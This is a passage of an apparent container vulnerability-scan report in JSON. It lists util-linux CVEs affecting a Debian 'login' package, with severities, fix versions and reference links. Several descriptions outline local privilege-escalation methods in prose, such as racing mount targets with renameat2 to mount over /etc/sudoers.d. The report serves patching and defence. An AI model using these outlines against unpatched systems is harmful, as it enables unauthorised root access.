"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/6785011f8b16abf40b1e9d8b2e332232b3e68822%20%286.3-rc7%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-99999.mbox", "https://git.kernel.org/stable/c/0fab003ef4698e0628060a45a48f14b43ba2a40a", "https://git.kernel.org/stable/c/32a8b0adaa18e52aaa0b246b5ffe683075354dbb", "https://git.kernel.org/stable/c/6785011f8b16abf40b1e9d8b2e332232b3e68822", "https://git.kernel.org/stable/c/94524b7b32691de2e2ce162c04d6cbc9106e5cbf", "https://git.kernel.org/stable/c/a464d950f31c89565cbaae038cc60db04fe01956", "https://git.kernel.org/stable/c/a65f69e0f38ffbed1b128029e09097436416dc8b", "https://git.kernel.org/stable/c/c3e33464746166264334641dc850a36eef7e6326", "https://git.kernel.org/stable/c/f3e835af6226f1dd12160cbd696081e9b6155de0", "https://linux.oracle.com/cve/CVE-2026-99999.html", "https://linux.oracle.com/errata/ELSA-2026-89083.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-99999", "https://pwn.ai/blog/pwnescape", "https://vercel.com/blog/findings-from-the-1-million-dollar-vercel-sandbox-challenge", "https://www.cve.org/CVERecord?id=CVE-2026-99999" ], "PublishedDate": "2026-10-15T13:17:14.137Z", "LastModifiedDate": "2026-10-19T22:17:28.667Z" }, { "VulnerabilityID": "CVE-2026-53612", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "login@1:4.16.0-2+really2.41-5", "PkgName": "login", "PkgIdentifier": { "PURL": "pkg:deb/debian/login@4.16.0-2%2Breally2.41-5?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "35a636a49ab503ca" }, "InstalledVersion": "1:4.16.0-2+really2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:50e661eb3d33ab0dea2feeb18c56903bafe9b57fa9cbf21a8d88bdb4d8a397df", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "login@1:4.16.0-2+really2.41-5", "PkgName": "login", "PkgIdentifier": { "PURL": "pkg:deb/debian/login@4.16.0-2%2Breally2.41-5?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "35a636a49ab503ca" }, "InstalledVersion": "1:4.16.0-2+really2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:253d194736070ef69d9400f201e2ad095b069e12fd24e8cebe8e03e8e3354d8e", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "login@1:4.16.0-2+really2.41-5", "PkgName": "login", "PkgIdentifier": { "PURL": "pkg:deb/debian/login@4.16.0-2%2Breally2.41-5?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "35a636a49ab503ca" }, "InstalledVersion": "1:4.16.0-2+really2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3d4f408a83b1bd41a75309f74ac850abfaebc39ccb10673e994a8594891bf5cf", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "login@1:4.16.0-2+really2.41-5", "PkgName": "login", "PkgIdentifier": { "PURL": "pkg:deb/debian/login@4.16.0-2%2Breally2.41-5?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "35a636a49ab503ca" }, "InstalledVersion": "1:4.16.0-2+really2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:685cca8a02c3160e27da37a7f42f8facce3d748fe144f291c77f34b55738bacc", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "login@1:4.16.0-2+really2.41-5", "PkgName": "login", "PkgIdentifier": { "PURL": "pkg:deb/debian/login@4.16.0-2%2Breally2.41-5?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "35a636a49ab503ca" }, "InstalledVersion": "1:4.16.0-2+really2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2f0a9977fec95e69343bb48dfa93f46c8db82e35e0052de2b6dc64d5c3c334e2", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "login@1:4.16.0-2+really2.41-5", "PkgName": "login", "PkgIdentifier": { "PURL": "pkg:deb/debian/login@4.16.0-2%2Breally2.41-5?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "35a636a49ab503ca" }, "InstalledVersion": "1:4.16.0-2+really2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fb96760f709b417e9ae2c1999f1e6a472804ac163c998e06fb1c6a43deb9056e", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", 